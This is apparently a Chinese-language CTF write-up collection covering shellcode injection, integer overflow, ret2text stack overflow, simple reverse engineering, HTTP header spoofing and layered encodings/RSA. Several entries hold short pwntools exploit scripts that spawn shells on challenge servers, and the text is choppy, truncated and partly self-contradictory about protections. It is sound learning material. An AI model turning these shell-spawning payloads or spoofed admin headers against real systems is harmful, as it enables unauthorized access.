shellcode
检查安全机制发现 NX (No-Execute) 已启用,这意味着栈内存不可执行,因此无法直接执行栈上的 shellcode。但题目中有一个明显的 后门函数,这应该才是解题的关键。也没有开啥保护。logo明显提示用shellcode,所以我们需要发送sellcode。 from pwn import *e=ELF("./pwn3")p=remote("10.190.131.17",62534)shellcode=asm(shellcraft.sh())payload=shellcodep.sendline(payload)p.interactive()
整数溢出
这里的0 ~ 0x7fffffff就是 0~2147483647 ,0x80000000 ~ 0xffffffff就是 -2147483648 ~ -1 from pwn import *# 设置环境context(arch='amd64', os='linux', log_level='debug')# 连接服务器(根据题目提示修改端口)p = remote('10.190.131.17', 61862) # 示例端口# 等待提示p.recvuntil(b"Enter an unsigned integer: ")# 发送目标数字p.sendline(b"4294967295") # 或 b"-1" 在某些环境下也可# 接收flagprint(p.recvall().decode()) 这道题涉及整数溢出漏洞利用,目标是通过输入特定数字触发gift()函数获取flag。以下是完整的解题步骤: 漏洞分析 关键代码: printf(“Ent...
ret2text
32位Tab键nc一下看pwnme函数这里有个fgets函数Tab键可以看到第一行s这个变量是在距离栈底ebp9个字节的地方题目叫stack,所以看了一下stack函数妥妥的getshell函数这段代码 system(“/bin/sh”) 的作用是在 Linux 系统中执行 /bin/sh 命令,它会打开一个新的 shell 进程。具体来说,/bin/sh 是指向系统中的默认 shell 解释器的路径。通过执行该命令,你将进入一个新的交互式 shell 环境,可以在其中执行各种命令和操作。这对于开发者或者在某些情况下需要与系统进行交互的用户来说非常有用。 main点一下绿色可以看到该函数地址为0x0804850F from pwn import *io=remote("pwn.challenge.ctf.show",28308) #远程连接payload=b'a'*9+b'a'*4+p32(0x0804850F) #用a字符填满前面9个字节的空白,然后...
ELF
linux也能逆?
简单的加密
shift+F12+Fn点击点击紫色的Tab键 1234567891011121314151617int __cdecl main_0(int argc, const char **argv, const char **envp){ size_t i; // [esp+D0h] [ebp-114h] char Str1[260]; // [esp+DCh] [ebp-108h] BYREF #提示用户输入 flag sub_456502("Hi CTFer,Input your flag:"); sub_4554EF("%s", Str1); for ( i = 0; i < j__strlen(Str1); ++i ) ++Str1[i]; #将每个字符的 ASCII 值加 1 if ( !j__strcmp(Str1, "gmbh|ZPV`GJOE`JU`IBIB~") ) sub_456502("you are right!\n"); el...
ez_http
bp抓包 12345678GET:?FantasyLand=0xLE4KCODEPOST:lyc0ris=goat请求头:Referer: https://www.tzc.edu.cn/User-Agent: SansBrowserCookie: user=adminX-Forwarded-For: 127.0.0.1 用hackbar也行
大杂烩
SkpERzY0Q0ZKRlpGVTJLU0dWVUVLVFNMT1JVRkFNM1lJVkhFVzNDWUpaWVRPNkE9 base64JJDG64CFJFZFU2KSGVUEKTSLORUFAM3YIVHEW3CYJZYTO6A=base32JFopEIrZiR5hENKthP3xENKlXNq7xxxencodeGMPSynt{Penml_Pelcgb}Rot13TZCFlag{Crazy_Crypto}
RSA1
p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929dq ...








